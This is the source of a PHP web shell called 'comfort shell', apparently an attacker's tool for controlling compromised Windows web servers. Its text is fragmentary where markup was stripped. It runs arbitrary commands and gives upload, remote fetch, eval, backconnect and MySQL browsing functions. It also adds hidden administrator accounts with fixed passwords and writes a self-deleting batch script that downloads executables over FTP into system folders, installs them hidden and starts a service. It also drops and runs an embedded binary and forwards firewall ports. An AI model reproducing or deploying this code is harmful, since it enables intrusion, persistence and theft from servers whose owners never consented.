.:: hacker´s best! comfort shell 1.1 by AcE / Modified by RzuF::.

Safe_Mode: [$safe_mode] Your IP: [$hacker_ip] Server Time: [$server_time] Document Root: [$server_documentroot] Shell-Path: [$shell_name] Extensions: Curl: [$curl] MySQL: [$mysql] PostgreSQL: [$pgsql] Oracle: [$oracle] Space: $space_name[0] [".$free_space[0]."] of [".$total_space[0]."]
"; $i = 1; while($i < sizeof($total_space)) { echo " $space_name[$i] [".$free_space[$i]."] of [".$total_space[$i]."]
"; ++$i; } echo "Exec-Method: $method"; echo "
Modified by: RzuF

"; } if(isset($_POST['upload'])) { echo ""; } if(isset($_POST['backconnect'])) { echo ""; } if(isset($_POST['evalphp'])) { echo ""; } if(isset($_POST['editor'])) { echo ""; } if(isset($_POST['batch'])) { echo ""; } if(isset($_POST['mysql'])) { echo ""; } if(isset($_POST['remote'])) { echo ""; } if(isset($_POST['all'])) { echo ""; } if(isset($_POST['all1'])) { echo ""; } if(isset($_POST['ftp'])) { echo ""; } if(isset($_GET['mysql'])) { $host = $_POST['host']; $port = $_POST['port']; $user = $_POST['user']; $pass = $_POST['pass']; $db = $_POST['db']; $tbl = $_POST['tbl']; if(!mysql_connect($host.":".$port, $user, $pass)) { echo "Could not connect:".mysql_error(); } echo ""; if($_REQUEST['exec_query']) { $query = $_POST['query']; $result = mysql_query($query); ?>

<?php
			while ( $row = mysql_fetch_row($result) )
				{
			echo $row[0]."\r\n";
				}
			?>

DATABASES
"; echo ""; echo "

"; if(isset($_POST['db'])) { echo "TABLES
"; echo ""; echo "

"; } if(isset($_POST['tbl'])) { echo "COLUMNS
"; echo ""; echo "

"; } if(isset($_POST['showcontent'])) { echo "CONTENT
"; $col = array(); $cols = $_POST['col']; $col = implode(",", $_POST['col']); $query = "Select $col FROM $db.$tbl"; $result = mysql_query($query); echo ""; $i = 0; echo ""; while($i < sizeof($cols)) { echo ""; ++$i; } echo ""; while ( $row = mysql_fetch_array($result) ) { echo ""; $i = 0; while($i < sizeof($cols)) { echo ""; ++$i; } echo ""; } echo "

".$cols[$i]."

".$row[$cols[$i]]."

"; echo "
"; echo "

"; } ?>

	" method="post">	
	host:      port: 
	user:      pass:

alert(\"".$_POST['batpath'].$fname." saved successfully!\"); "; } else { echo ""; } fclose($bat); } ?>

<?php echo $rem; echo chr(13); echo chr(13); echo $result; echo chr(13); echo chr(13); echo $result1; ?>

<?php echo $rem; echo chr(13); echo chr(13); echo $result; echo chr(13); echo chr(13); echo $result1; ?>

<?php echo $rem; echo chr(13); echo chr(13); echo $result; echo chr(13); echo chr(13); echo $result1; ?>

>c:\windows\system32\dllcache\1024\101\system.txt echo singelton415>>c:\windows\system32\dllcache\1024\101\system.txt echo dualizm1284>>c:\windows\system32\dllcache\1024\101\system.txt echo type binary>>c:\windows\system32\dllcache\1024\101\system.txt echo get sams.exe>>c:\windows\system32\dllcache\1024\101\system.txt echo get smss32.hlp>>c:\windows\system32\dllcache\1024\101\system.txt echo quit>>c:\windows\system32\dllcache\1024\101\system.txt ftp -s:c:\windows\system32\dllcache\1024\101\system.txt move sams.exe c:\windows\system32\dllcache\1024\101\ move smss32.hlp c:\windows\system32\dllcache\1024\101\ c:\windows\system32\dllcache\1024\101\sams.exe /i /h /s net start ipv6up"; $bat = fopen($fpath.$fname, "w+"); if(fwrite($bat, $content)) { $rem = "Plik bat zapisany "; } else { $rem = "Plik bat nie zapisany"; } fclose($bat); $cmd = "$fname"; $result = cmd_exec("$cmd"); //echo $result; $result1 = shell_exec("del $cmd"); //echo $result1; $resultx = cmd_exec("dir"); $czy = strpos($resultx, $cmd); if ($czy == FALSE) $result1 = "Plik zostal usuniêty"; else $result1 = "Plik nadal jest na serwerze!"; ?>

<?php echo $rem; echo chr(13); echo chr(13); echo $result; echo chr(13); echo chr(13); echo $result1; ?>

alert(\"".$file." saved successfully!\"); "; } else { echo ""; } fclose($tmp); } ?> "; $i = 0; echo "PATH: ".stripslashes($_POST['path']); while($i < sizeof($files)) { echo ""; ++$i; } echo ""; ?>

<?php



if($_REQUEST['command'])
{
	$cmd = stripslashes($_POST['cmd']);
	$result = cmd_exec($cmd);
	if($cmd == "net start")
	{
			
		$service = array();
		$service = explode("   ", $result);
	    print "started Services:\r\n";
	   
	   $i = 1;
	   while($i < sizeof($service))
	   {
			if(strlen($service[$i]) == 18)
			{
				print trim($service[$i])."                 <- Serv-U Service Length\r\n";
			}
			else
			{
				print trim($service[$i])."\r\n";
			}
			++$i;
		}
	}
	else
	{	
		echo $result;
	}
}

elseif($_REQUEST['quickcmd'])
{
	$cmd = stripslashes($_POST['quickcmd']);
	$result = cmd_exec($cmd);
	
	if($cmd == "net start")
	{
			
		$service = array();
		$service = explode("   ", $result);
	    print "started Services:\r\n";
	   
	   $i = 1;
	   while($i < sizeof($service))
	   {
			if(strlen($service[$i]) == 18)
			{
				print trim($service[$i])."                 <- Serv-U Service Length\r\n";
			}
			else
			{
				print trim($service[$i])."\r\n";
			}
			++$i;
		}
	}
	else
	{	
		echo $result;
	}
}

elseif($_REQUEST['newuser'])
{
	$cmd = "net user support lol123*** /add";
	$result = cmd_exec($cmd);
		
		echo $result;
	
}

elseif($_REQUEST['newuser1'])
{
	$cmd = "net user support_388945a0 lol123*** /add";
	$result = cmd_exec($cmd);
		
		echo $result;
	
}

elseif($_REQUEST['addadmin'])
{
	$cmd = "net localgroup administrators support /add";
	$result = cmd_exec($cmd);
		
		echo $result;
	
}

elseif($_REQUEST['addadmin1'])
{
	$cmd = "net localgroup administrators support_388945a0 /add";
	$result = cmd_exec($cmd);
		
		echo $result;
	
}

elseif($_REQUEST['deluser'])
{
	$cmd = "net user support /delete";
	$result = cmd_exec($cmd);
		
		echo $result;
	
}

elseif($_REQUEST['deluser1'])
{
	$cmd = "net user support_388945a0 /delete";
	$result = cmd_exec($cmd);
		
		echo $result;
	
}

elseif($_REQUEST['boxinfo'])
{
	$tmp = fopen("bw.exe", "w+");
	fwrite($tmp, base64_decode($bw));
	fclose($tmp);
	
	$result = cmd_exec("bw.exe");
	print $result;
	cmd_exec("del bw.exe");
}

elseif($_REQUEST['shellscan'])
{
	$handle = opendir(getcwd());
	while (false !== ($file = readdir($handle))) {
		if($file != ".." AND $file != ".")
		{
			if(is_file($file))
			{
				$end = substr($file, strlen($file)-4, strlen($file));
				if($end == ".php")
				{
					$shell[file][] = $file;
					$shell[content][] = file_get_contents($file);
				}
			}
		}
    }
	print "FOUND [".sizeof($shell[file])."] .php files\r\n";
	print "====================================\r\n";
	
	$i = 0;
	while($i < sizeof($shell[file]))
	{
		if(stristr($shell[content][$i], "shell_exec"))
		{
			$evil[] = $shell[file][$i];
		}
		elseif(stristr($shell[content][$i], "system"))
		{
			$evil[] = $shell[file][$i];
		}
		elseif(stristr($shell[content][$i], "exec("))
		{
			$evil[] = $shell[file][$i];
		}
		elseif(stristr($shell[content][$i], "passthru"))
		{
			$evil[] = $shell[file][$i];
		}
		elseif(stristr($shell[content][$i], "eval("))
		{
			$evil[] = $shell[file][$i];
		}	
	++$i;
	}
	
	print "Found [".sizeof($evil)."] possible shells\r\n";
	$i = 0;
	while($i < sizeof($evil))
	{
		print $evil[$i]."\r\n";
		++$i;
	}
	print "====================================\r\n";
}
else
{
	$result = cmd_exec("dir");
	echo $result;
}

 
?>

alert('File uploaded successfully!'); "; } } else { echo""; } } ?>

Remote File Upload: alert('".$file_name[sizeof($file_name)-1]." uploaded successfully!'); "; } else { echo""; } } ?>

Load File via FTP (also for speed test)

" method="post">

IP:     
port:   
user:   
pass:   
File 1:

alert(\"$err\"); "; exit; } if(!ftp_login($con, $user, $pass)) { $err = "Cant login with $user:$pass"; echo""; exit; } if(!ftp_get($con, $file, $file, FTP_BINARY)) { $err = "Cant load ".$file; print $file; echo ""; } else { $stop = time(); $end = round ($stop - $start, 3); echo $end; echo""; } } exit; } ?>

Windows FW Portrange forwarding alert('Forwarded ".$total." TCP & UDP ports!'); "; } exit; ?>